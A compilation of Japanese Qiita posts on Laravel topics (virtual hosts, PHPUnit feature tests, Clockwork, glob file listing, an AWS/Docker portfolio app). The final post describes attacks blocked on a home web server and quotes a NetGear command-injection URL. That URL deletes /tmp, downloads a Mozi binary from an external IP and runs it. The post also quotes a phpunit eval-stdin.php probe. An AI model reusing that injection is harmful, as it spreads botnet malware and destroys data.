- 投稿日:2020-11-23T20:39:35+09:00
【PHP/Laravel】php artisan serveを使わずにVirtual Hostを設定する
【PHP/Laravel】php artisan serveを使わずにVirtual Hostを設定する
使用環境
- windows 10 Home(COREi7)
- XAMPP 7.3.18
- Laravel 6
そもそもVirtual Hostって何?
バーチャルホストという用語は、1 台のマシン上で (company1.com と company2.com のような) 二つ以上のウェブサイトを扱う運用方法のことを指します。
Apache バーチャルホスト説明書virtual hostの設定
C:\xampp\apache\conf\extra
の中のhttpd-vhost.conf
ファイルをまずコピーを取っておく。以下の部分を書き換える
##NameVirtualHost *:80 ・・・中略・・・ ##<VirtualHost *:80> ##ServerAdmin webmaster@dummy-host.example.com ##DocumentRoot "C:/xampp/htdocs/dummy-host.example.com" ##ServerName dummy-host.example.com ##ServerAlias www.dummy-host.example.com ##ErrorLog "logs/dummy-host.example.com-error.log" ##CustomLog "logs/dummy-host.example.com-access.log" common ##</VirtualHost>
- 下記を参考に書き換える
NameVirtualHost *:80 ・・・中略・・・ Listen 10001 <VirtualHost localhost:10001> ##ServerAdmin webmaster@dummy-host.example.com DocumentRoot "C:\laravel\practice\public" ##ServerName dummy-host.example.com ##ServerAlias www.dummy-host.example.com ##ErrorLog "logs/dummy-host.example.com-error.log" ##CustomLog "logs/dummy-host.example.com-access.log" common <Directory "C:\laravel\practice\public"> AllowOverride All Options +Indexes Require all granted </Directory> </VirtualHost>
新しくポートを作る。
任意で指定するポート番号を付ける(今回は10001を使用)
Listen 10001と記入その下にVirtualHostの設定を書き込む
DocumentRootの#を外しディレクトリ設定を書き込む
AllowOverride All
→.htaccessで設定可能なものは全て有効になるOptions +Indexes
→ディレクトリに対するリクエストに対して、DirectoryIndex で指定したファイル(index.html 等)が存在しない場合に、ディレクトリ内ファイルの一覧を表示Require all granted
→無条件でアクセスを許可
- DocumentRootとDirectoryにLaravelプロジェクト(今回はpractice)のpublicを指定する
参考
- 投稿日:2020-11-23T14:53:10+09:00
ログイン時のデータ取得について書いてみた
ログインしている人がフォームで何かデータを入力することが多いと思いますががそのデータ入力時に
ログインしている人のidも取得したいと思うことがある。そんな時のやり方がわからなかったので
ここに忘備録として書いておきます。<form method="post" action="{{route('post.store')}}"> @csrf <input type="hidden" id="user_id" value="{{Auth::id()}}"> <textarea name ="message"class="form-control" id="exampleFormControlTextarea1" rows="3"></textarea> </form>type="hidden" を使うことでフロントには表示されずにフォームに登録することができます。
また、value="{{Auth:id( )}}"とありますがこれは今現在ログインしている人のidをフォームに入力しているという意味になります。いやー。Auth::idの書き方を知らなかったので解決するのに1日かかってしまいました。
基礎がしっかりしていないと大変な目に遭いますね。これでみなさんも
ログイン時のid検出の仕方忘れた場合は利用してみてください。
- 投稿日:2020-11-23T14:01:11+09:00
Laravelのtestで画面回りのテストをする
この前Laravelのテストのやり方を書いたときは、API用のだった。
普通のWeb画面で動くシステムをテストするのって、どうすんの?
てことで、またぞんざいな感じで書いてみる。1.どんなテストをするか考える。
この前勢いに任せてLaravel8で画面だけ作ったけれど、まだCRUDまで作ってないんだよな。なので今回は認証して画面遷移するところだけテスト対象とするよ。
・Laravel標準ログイン画面でログイン
・メニュー表示
・照会画面を表示
・更新画面を表示
・更新できないユーザーの時、更新できないメッセージが表示されることを確認画面のテストはchromeを自動で動かしてやる方法もあるらしいけれど、今回は普通にテストの機能を使ってテストするよ。
ちなみにCRUDは今後テスト駆動であーしてこーしたことを記事にして、laravelerのハートをわしづかみにしてやるぜ!乞うご期待!(うそ)
2.テスト用の環境を作る
前回は先走ってtestクラスを先に作っちゃったから、順番がよくわからない記事になっちゃったよ。その反省を踏まえ、今回は焦らず環境作りから書いていくよ。やる内容はこんな感じだ。
・テスト用DBの定義を.env.testingに書く
・phpunit.xmlにテスト環境の設定を書く
・テスト用DBの作成なんか、ついつい設定よりDB作るとか、結果がわかる作業を先にしたくなるよね。
でも、落ち着けよブラザー。説明の都合上、定義を書くところから書いていきます。2.1. テスト用DBの定義を.env.testingに書く
俺はテスト用のDBなんていらねーぜ!いつだって一発勝負さ!って人は、ここから先読み飛ばしてもらっていいです。てか、そういう人はテストしない気がする。そもそもこんな記事読まないか。
臆病者の私は、失敗しないようにおどおどしながらテスト用のDBを作ります(外国語直訳風)。
そういったテスト用の設定は、通常の.envとは別に、.env.testingというファイルに設定を書いておけます。これならおどおどしなくても平気だね。
laravelプロジェクトフォルダーの中にある、.envファイルをコピーして、「.env.testing」にリネームします。ドットふたつついているけど、これで正解です。
で、以下の部分を書き換えます。
APP_ENV → 「tesitng」に変更する
APP_KEY → 今書いてあるキーを消して、空白にする。後でコマンド入れて設定します。
DB_DATABASE → テスト用のDB名に変更します。今回はlara8test_testにします。なんかプロジェクト名にtestって入れちゃったから、テスト作るときわかりづらくなった。よい子はマネしないでね。
2.2. phpunit.xmlにテスト環境の設定を書く。
laravelプロジェクトを作成すると、自動的にphpunitがついてくる。phpunitを使わなければphpunit.xmlは放っておいても平気だけど、phpunitを使うときはここにテストの設定を入れるよ。
phpunit.xmlの初期設定はこんな感じ。phpunit.xml<?xml version="1.0" encoding="UTF-8"?> <phpunit xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="./vendor/phpunit/phpunit/phpunit.xsd" bootstrap="vendor/autoload.php" colors="true" > <testsuites> <testsuite name="Unit"> <directory suffix="Test.php">./tests/Unit</directory> </testsuite> <testsuite name="Feature"> <directory suffix="Test.php">./tests/Feature</directory> </testsuite> </testsuites> <coverage processUncoveredFiles="true"> <include> <directory suffix=".php">./app</directory> </include> </coverage> <php> <server name="APP_ENV" value="testing"/> <server name="BCRYPT_ROUNDS" value="4"/> <server name="CACHE_DRIVER" value="array"/> <!-- <server name="DB_CONNECTION" value="sqlite"/> --> <!-- <server name="DB_DATABASE" value=":memory:"/> --> <server name="MAIL_MAILER" value="array"/> <server name="QUEUE_CONNECTION" value="sync"/> <server name="SESSION_DRIVER" value="array"/> <server name="TELESCOPE_ENABLED" value="false"/> </php> </phpunit>で、この中の以下の部分を変更する。
・<server ~/>のserverを「env」に変更する。
・コメントになっているDB_CONNECTIONをちゃんと書く。.env.testingのDB_CONNECTIONに書いた値と一緒にしてね。
・コメントになっているDB_DATABASEをちゃんと書く。これも.env.testingのDB_CONNECTIONに書いた値と一緒だ。ここまで変更したら、プロジェクトのフォルダーのところでphp artisanを使ってAPP_KEYを設定しよう。
> php artisan key:generate --env=testing実行すると、.env.testingのAPP_KEYに値が設定されているよ。
2.3.テスト用DBの作成
ようやくDBを作ります。
> mysqladmin create lara8test_testちなみにこのコマンドは、mysqlとかmariaDB用だからね。普通にDB作ればいいだけの話です。
作ったDBの中にテーブルを作成したいわけだけど、これはmigrateを使ってやります。migrateする先のDBを、テスト用のDBにしてやるわけです。php artisan migrate --env=testingこれでテスト環境が整いました。
3.testクラスを作る
もういい加減覚えたろう。laravelでなんか作るときは、php artisan makeだよね。
そこから先は、いつも忘れるんだけど。> php artisan make:test TestinputControllerTest作ったコントローラの名前の後ろに「Test」をつけたよ。
作られたソースはlaravelプロジェクトのtestsフォルダーの下のfeatuerフォルダーに作られる。featureは機能テスト用だそうな。ユニットテスト用にしたいときは、「--unit」を後ろにつけるとunitフォルダーに作るらしい。さて、今回実際テストしたいロジックは、下記の通り。ちょびっとしかないね。
TestinputController.phppublic function show($id) { //ぞんざいな照会画面を表示する return view('testinput.show'); } public function edit($id) { if(Gate::denies('user')) { //ぞんざいな更新画面を表示する return view('testinput.edit'); } else { session()->flash('editmsg', 'あんた更新できないよ!!'); return view('menu/menu'); } }まずはぞんざいな照会画面のテストだ。
showは本来\$idを渡しているから、その値でいろんなテストができそうだけど、ぞんざいに作ったから\$idなんて使ってない。適当な値を渡しているだけだ。
なので、テストも雑に作ってみる。TestinputControllerTest.php<?php namespace Tests\Feature; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Foundation\Testing\WithFaker; use Tests\TestCase; class TestinputControllerTest extends TestCase { /** * ぞんざいな照会 正常ケース * * @test * @return void */ public function show_ぞんざいな照会正常ケース() { $response = $this->get(route('testinput.show',' ')); $response->assertStatus(200); } }@testアノテーションをつけるかfunctionの名前をtest~とつければ、テストメソッドとして実行される。今回は@testアノテーションをつけてみたよ。
routeで行き先を指定して、そのHTTPレスポンスのステータスが200ならOK,というテストだ。
せっかちなので、一回これで動かしてみる。
動かす時は、サーバーが動いているところのプロジェクトフォルダで「./vendor/bin/phpunit」を実行すればいい。
何言っているかわかんないって?端的に言えば、php artisan serverで動かしたときはローカルPCのコマンドプロンプトで実行、homesteadみたいな仮想サーバーで動かしているときは、仮想サーバーに接続して実行しろってことさ。$ ./vendor/bin/phpunitそのまま実行すると…あれ、OKだけど、「3 tests」って書いてある。
agrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit PHPUnit 9.4.2 by Sebastian Bergmann and contributors. ... 3 / 3 (100%) Time: 00:01.741, Memory: 22.00 MB OK (3 tests, 3 assertions) vagrant@homestead:~/code/lara8test$それはね。プロジェクト作ったままだと「ExampleTest.php」がfeatureとunitに入っていて、その中にひとつずつテストが設定されているから、それも動いちゃったんだね。
ちぇ。いらないExampleTest.phpは速攻消してしまおう。
それで改めて実行すると。vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit PHPUnit 9.4.2 by Sebastian Bergmann and contributors. . 1 / 1 (100%) Time: 00:01.372, Memory: 20.00 MB OK (1 test, 1 assertion)1 testに変わったよ。一つのテストが成功したってことだね。
しかし、これでいいのか?チェックがなさ過ぎてつまんない。
なので、「ログインしていないとTestinputにつながらない」ようにしよう。
web.phpのTestinputのrouteに、そんなような仕込みを入れる。Route::resource('testinput', TestinputController::class)->middleware('auth');それでもう一回テストを流してみると。
vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit PHPUnit 9.4.2 by Sebastian Bergmann and contributors. F 1 / 1 (100%) Time: 00:01.636, Memory: 20.00 MB There was 1 failure: 1) Tests\Feature\TestinputControllerTest::show_ぞんざいな照会正常ケース Expected status code 200 but received 302. Failed asserting that 200 is identical to 302. /home/vagrant/code/lara8test/vendor/laravel/framework/src/Illuminate/Testing/TestResponse.php:186 /home/vagrant/code/lara8test/tests/Feature/TestinputControllerTest.php:21 FAILURES! Tests: 1, Assertions: 1, Failures: 1.エラーになった!「ステータス200って言ってるけど、302が返ってきたよ」みたいなことを言っている。多分。
4.認証データを仕込む
では、ログインしている体でテストができるようにしよう。
予めテスト用のDBにユーザーを登録しておいてもいいんだけれど、そうするとテスト用のユーザーを設定しておかないとテストが上手く動かなくなってしまう。なるべくなら、テストを実行したらいつでも同じようにテストが流れてほしいよね。
なので、テストの中でデータを作成するようにします。
テストデータは、factoryで仕込むんだよ。factoryって大量データを仕込める奴、って認識だったけど、どちらかというとテストを動かす時にデータを仕込める奴、だったんだね。だから「データをDBに保存しないモード」が存在するのか。
余談はさておき、ユーザーデータを仕込んでみよう。TestinputControllerTest.php/** * ぞんざいな照会 正常ケース * * @test * @return void */ public function show_ぞんざいな照会正常ケース() { $user = User::factory()->create(); $response = $this->actingAs($user)->get(route('testinput.show',' ')); $response->assertStatus(200); }追加ポイントはふたつ。
・User::factory()->create();を追加⇒userにfactoryで指定したデータを1件作成する。
・->actingAs($user)を追加⇒作成したデータでログインした体にしてくれる。
これで流してみる。vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit PHPUnit 9.4.2 by Sebastian Bergmann and contributors. . 1 / 1 (100%) Time: 00:01.916, Memory: 24.00 MB OK (1 test, 1 assertion)上手くいった!
では、更新系のテストも仕込んでみよう。TestinputControllerTest.php/** * ぞんざいな更新 責任者のケース * * @test * @return void */ public function edit_ぞんざいな更新責任者のケース() { $user = User::factory()->create(['access_auth' => '1']); $response = $this->actingAs($user)->get(route('testinput.edit',' ')); $response->assertStatus(200) ->assertSessionMissing('editmsg'); } /** * ぞんざいな更新 管理者のケース * * @test * @return void */ public function edit_ぞんざいな更新管理者のケース() { $user = User::factory()->create(['access_auth' => '9']); $response = $this->actingAs($user)->get(route('testinput.edit',' ')); $response->assertStatus(200) ->assertSessionMissing('editmsg'); } /** * ぞんざいな更新 担当者のケース * * @test * @return void */ public function edit_ぞんざいな更新担当者のケース() { $user = User::factory()->create(['access_auth' => '0']); $response = $this->actingAs($user)->get(route('testinput.edit',' ')); $response->assertStatus(200) ->assertSessionHas('editmsg'); }更新処理は、勝手に追加した「access_auth」という項目が'1'(責任者)、'9'(管理者)のときはそのまま表示するけど、'0'(担当者)だったら「あんた更新できないよ!!」ってメッセージをフラッシュで表示している。
なので、アクセスしに行ったときに担当者だったらフラッシュメッセージを出していること、責任者と管理者だったら逆にメッセージを出していないことをテストしたい。
なので、ステータスのチェック+フラッシュメッセージのチェックを行うよう設定する。
assertSessionHas⇒セッションが指定したデータを持っていることを宣言
assertSession⇒セッションが指定したキーを持っていないことを宣言
これで実行してみると。vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit PHPUnit 9.4.2 by Sebastian Bergmann and contributors. .... 4 / 4 (100%) Time: 00:02.187, Memory: 26.00 MB OK (4 tests, 7 assertions)上手く出来たっぽい。
でも本当か?本当にやり切ったのか?大人なんて信用できない!
てなわけで、わざわざエラーになるようソース変えちゃう。よい子はマネしないでね。TestinputController.phppublic function edit($id) { if(Gate::denies('user')) { //ぞんざいな更新画面を表示する session()->flash('editmsg', 'あんた更新できないよ!!'); return view('testinput.edit'); } else { return view('menu/menu'); } }メッセージを出す条件を逆にしてみました。
これでさっきのテストを流すと。vagrant@homestead:~/code/lara8test$ ./vendor/bin/phpunit PHPUnit 9.4.2 by Sebastian Bergmann and contributors. .FFF 4 / 4 (100%) Time: 00:02.426, Memory: 26.00 MB There were 3 failures: 1) Tests\Feature\TestinputControllerTest::edit_ぞんざいな更新責任者のケース Session has unexpected key [editmsg]. Failed asserting that true is false. /home/vagrant/code/lara8test/vendor/laravel/framework/src/Illuminate/Testing/TestResponse.php:1040 /home/vagrant/code/lara8test/tests/Feature/TestinputControllerTest.php:38 2) Tests\Feature\TestinputControllerTest::edit_ぞんざいな更新管理者のケース Session has unexpected key [editmsg]. Failed asserting that true is false. /home/vagrant/code/lara8test/vendor/laravel/framework/src/Illuminate/Testing/TestResponse.php:1040 /home/vagrant/code/lara8test/tests/Feature/TestinputControllerTest.php:53 3) Tests\Feature\TestinputControllerTest::edit_ぞんざいな更新担当者のケース Session is missing expected key [editmsg]. Failed asserting that false is true. /home/vagrant/code/lara8test/vendor/laravel/framework/src/Illuminate/Testing/TestResponse.php:865 /home/vagrant/code/lara8test/tests/Feature/TestinputControllerTest.php:68 FAILURES! Tests: 4, Assertions: 7, Failures: 3.ちゃんとエラーになった!大人も信用していいんだ!
こんな風にアサートを増やしていけば、いろんなチェックを追加していけるよ。テストを作っていくのは面倒だけど、システムに機能を追加していくとデグレードの確認に手間がかかるから、なるべく早い段階でテストを準備していくほうがいいね。
それじゃー今日はこんなところだ。また逢う日まで、再見!
- 投稿日:2020-11-23T13:47:08+09:00
LaravelでAPIを作る時のデバッグにClockWork
APIメインの開発をLaravelで作るときの、効率いいデバッグ方法を調べました。
普通であれば、LaravelDebugbarを入れてデバッグすると、呼び出されたSQLなどが見れて開発が捗ります。
が、これはviewにかかれるので、jsonのレスポンスの場合は使えません。
こう言った場合はClockworkを使うと良さそうです。インストール
$ composer require itsgoingd/clockwork
次にChrome拡張のClockworkをいれます。
デバッグ
F12からClockworkのタブを見れば、Performanceや使っているModel、呼び出したSQLが確認できます。
また
clock()
というヘルパーも提供されて、dd()
のように使えて、ClockworkのLogに吐き出されます。
すごく便利で開発が捗りますね。
- 投稿日:2020-11-23T12:37:14+09:00
Laravelでとあるディレクトリのファイル一覧を取得したい人へ
世にはいろいろなQiita記事があり,Laravelの記事も様々...かと思いきや,Laravelの記事って結構少なくないですか?
タイトルの通り,この記事はLaravelでほかのファイルの名前を取得したい人への僕のささやかな気持ちです.
一方的に投げつけておくのでどうぞ受け取ってください.やり方
〇〇_path('パス\*')
で,ファイル一覧を取得したいディレクトリのフルパスを取得.glob(取得したフルパス)
で,ディレクトリ内のファイルのパスを配列として取得.ステップ1.
〇〇_path('パス\*')
で,ファイル一覧を取得したいディレクトリのフルパスを取得.
〇〇_path()
というヘルパ関数を使います.
この関数は,相対パスを指定したフォルダやファイルのフルパスを取得することができる関数です.
これには以下の種類があり,それぞれの〇〇の部分が,パスを取得できる場所(rexourcesやpublicなど)に対応しています.
- app_path()
- base_path()
- config_path()
- database_path()
- mix_path()
- public_path()
- resource_path()
- storage_path()
参照:Helpers - Laravel - The PHP Framework For Web Artisans
使用例は次の通りです.
hogehogeController.php// resourceディレクトリ内のviews/folder1のフルパスを取得 $path = resource_path('views/folder1'); //出力例(ローカルの場合)->C:\Users\(途中のディレクトリ)\resources\views\file1 // publicディレクトリ内のcss/app.cssのフルパスを取得 $path = public_path('css/app.css'); //出力例(サーバーの場合)->/home/users/(途中のディレクトリ)/public/css/app.css注意:パスの指定にバックスラッシュ
\
を使うと,Windowsではうまくいきましたがサーバー(Linux)ではパスを取得できませんでした.なので,スラッシュ/
で指定しましょう!ステップ2.
glob(取得したフルパス)
で,ディレクトリ内のファイルのパスを配列として取得.
〇〇_path()
で相対パスをフルパスにしたら,次はglob()
の出番です.
glob()
は,一定のパターン(詳しくは後述)にマッチするパスを探すことができる関数です.参照:PHPのglobメソッドの使い方を現役エンジニアが解説【初心者向け】 | TechAcademyマガジン
使用例は次の通り
hogehogeController.php// resources/views/folder1内のすべてのファイル(file1.txt, file2.blade.php)を取得 $path = resource_path('views/folder1/*.*'); $files = glob($path); //出力例 // -> /home/users/(途中のディレクトリ)/resources/views/folder1/file1.txt // -> /home/users/(途中のディレクトリ)/resources/views/folder1/file2.blade.php上記の例では,すべてのファイルを取得するように,
resource_path()
に指定するパスの最後にパターンの指定/*.*
をつけています.
これを例えば/*
にすればすべてのファイルとディレクトリ,/*.blade.php
にすれば全てのブレードファイルを取得できます.これでとあるディレクトリのファイル一覧を配列として取得できました!
あとは適宜,正規表現で使いたいところを切り出しましょう...!
- 投稿日:2020-11-23T10:44:02+09:00
AWS, Docker, CircleCI, Laravelでポートフォリオを作成してみた【参考リンク付き】
初めに
今回はDocker, CircleCI, AWS等、人気の高まっているインフラ技術を一から学んで、Webアプリを作成してみました。
バックエンドはLaravel、フロントエンドにVue.js等といった構成です。この記事では、アプリ開発にあたって苦労した点や、
各機能実装の際に参考にした記事や教材についてもご紹介していければと思います。アプリの概要
朝活をテーマをしたSNSアプリです。
- 朝活仲間を作り、「コツコツ」継続できる
- 朝活習慣の「コツ」を共有して、朝活の挫折を防ぐ
ことをコンセプトに、「朝活」を文字って「AsaKotsu」というサービスを開発しました。
URLはこちら↓です。よければ、ご自由に動かしてみてください^^アプリのURL:https://pf.asakotsu.com/
(※まだスマホ対応が完了していないので、PCでの閲覧推奨です^^;)GitHubのURL:https://github.com/ngsw877/asakotsu
使用画面のイメージ
このアプリの特徴
基本的にはtwitterのような投稿、コメント、いいね、フォロー機能のあるSNSですが、
その他に以下のような特徴のあるアプリです。
- アプリから、朝活Zoomミーティングを作成、編集、削除できる(ZoomAPI連携)
- 目標起床時間を設定して、早起き達成日数を記録することができる
- 早起き達成日数のランキング機能(1ヶ月ごとに集計)
- 投稿にタグ付けし(カテゴリ)、「朝コツ」タグ等で朝活のコツを共有することができる
使用技術
フロントエンド
- Vue.js 2.6.11
- jQuery 3.4.1
- HTML / CSS / Sass / MDBootstrap
バックエンド
- PHP 7.4.9
- Laravel 6.18.36
- PHPUnit 8.5.8
- ZoomAPI (guzzlehttp/guzzle 7.0.1)
インフラ
- CircleCi
- Docker 19.03.12 / docker-compose 1.26.2
- nginx 1.18
- mysql 5.7.31 / PHPMyAdmin
- AWS ( EC2, ALB, ACM, S3, RDS, CodeDeploy, SNS, Chatbot, CloudFormation, Route53, VPC, EIP, IAM )
サーバーサイドのロジックはPHP/Laravelでプログラミングし、
フロントエンドの細かいデザインはSassで整え、動きを付けたい時はVue.jsやjQueryで実装しました。
開発環境にDocker/docker-composeを使用し、
CI/CDパイプラインに関しては、CircleCIで自動テスト・ビルドを行い、
AWSのCodeDeployで自動デプロイを実現するようにしています。インフラ構成図
開発環境、本番環境について
開発環境に
Docker / docker-compose
を使用しており、以下の4つの用途のコンテナを使用しています。
- Webサーバーのコンテナ: Nginx
- アプリケーションのコンテナ: PHP / Laravel / Vue.js
- DBのコンテナ: MySQL
- DB管理用のコンテナ: PHPMyAdmin
参考リンク:
本番環境のAWS上ではECSでデプロイしたかったのですが、
難易度が高く断念・・
ひとまずEC2でのデプロイ経験にも慣れるため、今回はEC2上で環境構築していく形で進めていきました。SSL証明書の発行
SSL証明書を発行してHTTPS化も実現したかったため、
ACM(AWS Certificate Manager)
を使用しています。ACMを使用するためには、EC2に加えて、
ALB(ELB)
やCloudFront
も必要になってくるため、今回はALBを導入することにしました。
なお、ALBを使用しているものの、節約のため現状では負荷分散やスケールアウトする程のアクセスが見込まれないため、EC2インスタンスは1つのみ用意しています。
なお、アドレスバーに鍵マークがついても、Laravel側のプロキシ設定をしないとcssやjsファイルが読み込まれなかったり、ルーティングがhttps化されなくなるので要注意な印象。。参考リンク:
- AWS:無料でSSL証明書を取得する方法
- 信用するプロキシの設定S3バケットへのアップロード
S3は、以下の2つの用途別に用意しています。
CircleCIでビルドしたソースを格納
EC2上のアプリでアップロードした画像データを格納
2に関しては、S3のバケットポリシーの設定や、Laravel側でS3用パッケージのインストールが必要だったりと意外にやるべきことがありました。
参考リンク:
Slackへの通知設定
CodeDeploy
とSNS
、Chatbot
を連携して、自動デプロイの開始と終了のタイミングでSlackアカウントに通知が飛んでくるようにしています。なかなか便利。機能一覧
ユーザー登録関連
- 新規登録、プロフィール編集機能
- ログイン、ログアウト機能
- かんたんログイン機能(ゲストユーザーログイン)
ZoomAPI連携
- 朝活Zoomミーティング機能(CRUD)
- ミーティングの新規作成、一覧表示、編集、削除機能
早起き達成の判定機能
- ユーザー毎に目標起床時刻を設定可能(4:00〜10:00まで)
- 目標起床時間より前に投稿をすることができれば、早起き達成記録が1日分増えます。
- ※深夜過ぎ等に投稿した場合も早起き成功とならぬよう、
目標起床時間より3時間前に投稿しても無効になるよう対処しています。
(例)目標起床時間を07:00に設定した場合、04:00~07:00に投稿できたら早起き達成ユーザーの早起き達成日数のランキング機能(1ヶ月毎)
無限スクロール機能 (jQuery / inview.js / ajax)
ユーザー投稿関連(CRUD)
コメント機能
タグ機能 (Vue.js / Vue Tags Input)
いいね機能 (Vue.js / ajax)
フォロー機能
- フォロー中/フォロワー一覧(ページネーション)
フラッシュメッセージ表示機能 (jQuery/ Toastr)
- 投稿、編集、削除、ログイン、ログアウト時にフラッシュメッセージを表示
画像アップロード機能 (AWS S3バケット)
PHPUnitテスト
DB設計
ER図
各テーブルについて
テーブル名 説明 users 登録ユーザー情報 follows フォロー中/フォロワーのユーザー情報 achievement_days ユーザーが早起き達成した日付を、履歴として管理 meetings ユーザーが作成したZoomミーティング情報 articles ユーザー投稿の情報 tags ユーザー投稿のタグ情報 article_tags articleとtagsの中間テーブル likes 投稿への、いいねの情報 comments ユーザー投稿への、コメントの情報 早起き達成機能 関連のポイント
usersテーブルの
wake_up_time
はユーザーの目標起床時間を意味しています。
この時間よりも早い時間にユーザーが投稿をできれば、その日の早起きが達成となります。
なお、
「目標起床時間が07:00で、深夜1:00に投稿した」
というように、早過ぎる時間にユーザーが投稿した
場合にも早起き達成とならないように設定しています。
その仕組みとして、usersテーブルのrange_of_success
の値が利用されています。
これは、
「目標起床時間より何時間前までに投稿すれば早起き達成となるのか、その範囲を表す整数値」
です。
デフォルトは3
で、例えば目標起床時間を07:00に設定している場合は、その3時間前の
04:00 〜 07:00 の間に投稿できれば早起き達成となります。こうして早起き達成をすることができたら、achievement_daysテーブルの
date
に達成日の日付が履歴として記録されていきます。
例) 2020-11-22
この日付データを利用して、以下の機能を実現しています。① 1ヶ月毎の早起き達成日数を算出
② ①の日数を利用したランキング機能当初は、早起き継続日数のランキングにしようかとも考えていましたが、
ユーザーのモチベーション維持等の観点から1ヶ月毎の早起き達成日数を採用することにしました。※朝活アプリなので、もともとは目標起床時間04:00~10:00の間しか設定できない仕様ですが、
現在は「早起き達成判定」機能を好きな時間にお試しいただけるよう、時間設定を自由にできるようにしています。苦労したこと
開発からデプロイまで、どの工程でももれなくエラーで苦戦しましたがw、
ここでは特に印象に残っている点をまとめます。CircleCIで苦労したこと
- CircleCIの設定ファイルである、config.ymlの設定
- 自動ビルド、自動テストの流れの理解
config.ymlの設定においては、だいぶエラーに悩まされました。。
特に、コマンドやパスを指定する時は、パスのルートはどこが起点になっているのかを理解することが重要な印象。
テスト失敗時の対策としては、ビルドされたコンテナにSSHログインしてエラーログを確認し、原因を解消していくようにしていました。参考リンク: SSH を使用したデバッグ
AWSデプロイで苦労したこと
- ACMでのSSL証明書発行
- Laravelで画像をS3にアップロードする設定
- CodeDeployでの、自動デプロイ設定(特にappspec.yml)
- EC2インスタンスのセットアップ
上述した、
SSL証明書の発行
S3バケットへのアップロード
周りでエラーにハマりがちでした。
また、今回はECSでなくEC2でデプロイすることとしましたが、EC2にSSHログインしてから
インストールしたり設定するファイルが多く、その辺りの作業も大変でした。
この工程を考えると、ますますECSを扱えるようになりたく思いましたね^^;フロントエンドで苦労したこと
- UI/UXの調整(Sass)
- Ajax全般
バックエンドでの苦労
- DB設計
- DBリレーション関連の処理
- PHPUnitでのテスト全般
リレーション周りについては当初かなり苦戦しました。
どのテーブルとどのテーブルを関連付けるのか、また関連付けた情報をどうやって取得すれば良いのか?
また、
- $article->user()
- $article->user
例えばこの2つの違いについても重要なポイントと感じました。
PHPUnitのテストコードについては、体系的に学べる情報がなかなか見つからなかったので、情報収集に苦労しました。
ZoomAPI連携で苦労したこと
- Guzzleの理解
- ZoomAPIの理解
アプリ上からZoomミーティングを作成したり編集できる機能をつけることにしましたが、
これまで外部APIを利用したことがなかったこともあり、文法的なものや、API通信の仕組みについて理解するまでが難しく感じました。実装にあたり、まずLaravelでZoomAPIと通信を行うために、PHPのHTTPクライアントである
Guzzleをインストールしました。参考リンク:
次に、Zoomアプリマーケットプレイスでアプリを登録し、公式ドキュメントを読んでみるも、英語な上初めはどこのページの何を見れば良いのかわからず苦戦しました。。^^;
Laravelで、ZoomAPIと通信を行う処理のサンプルコードを紹介している
海外の記事を参考にしたりしているうちに、次第に公式ドキュメントから必要な情報を探せるようにもなってきました。参考リンク:
ただ、今回Laravel6系でアプリを開発していたため、通常Laravel7系で使用できるGuzzleラッパーが使えず、ややコードを書き換えないといけない点にも苦労しました。
参考にした学習教材等
基本的には、UdemyとTechpitで学習してきました。
この2つはとてもわかりやすいです。
個人的には、Udemyで基礎を学んでから、応用編としてTechpitで手を動かしながら学ぶのが良いと感じました。Docker / docker-compose
PHPUnit / CircleCI / AWS
AWS
- 【Udemy】AWS:ゼロから実践するAmazon Web Services。手を動かしながらインフラの基礎を習得
- 【Udemy】これだけでOK! AWS 認定ソリューションアーキテクト – アソシエイト試験突破講座(SAA-C02試験対応版)
- 【書籍】Amazon Web Services 基礎からのネットワーク&サーバー構築 改訂3版
Laravel
Laravel / Vue.js
Sass
今後の課題
- レスポンシブWebデザイン(スマホ対応)
- デザイン面の改善
- 無限スクロールの不具合修正(読み込まれた投稿のいいねボタンが消える)
- ALBにAuto Scalingを追加し、EC2を冗長化
- ECS(EKS)でのデプロイ
- RDSの冗長化
- インフラのコード化
- 検索機能の追加
- テストコードの充実
- 投稿時に別画面へ遷移するのではなく、入力フォームをモーダルで表示させるようにする
- 開始前のZoomミーティング、終了ミーティングのソート機能
まだ課題も多いですが、一つずつ改善してよりブラッシュアップしていきたく思います。
だいぶ長い記事になってしまいましたが、ここまで読んでくださりありがとうございました!^^
- 投稿日:2020-11-23T01:55:19+09:00
Webサイトに来た攻撃をまとめてみた
はじめに
自宅にインターネットに公開しているWebサイト(自宅サーバー)があります。Webサイトでは日夜、世界中から脆弱性を悪用しようと攻撃を受けているのですが、今回は実際にWebサイトに来た攻撃の一部を紹介してみようと思います。
環境
- Laravel(PHP)を用いた動的なWebサイトなどを自宅で公開
- インターネットとの境界線にFW(Fortigate)を設置。UTMライセンスあり
- インターネット->自宅サーバーNWへの通信に対してFWの
アンチウイルス
、IPS
、WAF
を有効
IPS
とは: 不正な通信を検知、ブロックする機能。主にOS、機器などの脆弱性を狙った攻撃アンチウイルス
とは:パケットに含まれるウイルスを検知、ブロックする機能WAF
とは:Webアプリケーションレベルの攻撃を検知、ブロックする機能- 期間は11月のある一週間
結論
自宅であろうが、AWSであろうが、レンタルサーバーであろうが、Webサイトをインターネットに公開すると攻撃を必ず受けます。Webサイトを公開する場合は、OS、ミドルウェア、アプリケーションなどの脆弱性には必ず気をつけましょう。また、公開したあともIPAなどが公開しているセキュリティ情報をチェックして、必要があればセキュリティアップデートをこまめに実施しましょう。
公開したあとアップデートもせず、Webサイト、サーバーを放置していれば、必ず脆弱性を利用した攻撃を受け、脆弱性が存在すれば場合によっては内部に侵入され、システムを破壊、個人情報の流出などの被害を受けてしまうことになるでしょう参考
以下、FWが検知した攻撃
WAFが検知・ブロックした攻撃
検知したURL①
http://自宅IP/setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+http://39.80.71.48:44394/Mozi.m+-O+/tmp/netgear;sh+netgear&curpath=/¤tsetting.htm=1どうやらNetGear製品の脆弱性を狙う攻撃みたいです。送信元IPは中国です。
MiraiとGafgytの新たなIoT/Linuxボットネット攻撃キャンペーン
検知したURL②
https://自宅IP/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.phpphpunitの脆弱性の有無を確認している攻撃みたいです。送信元IPはロシアです。
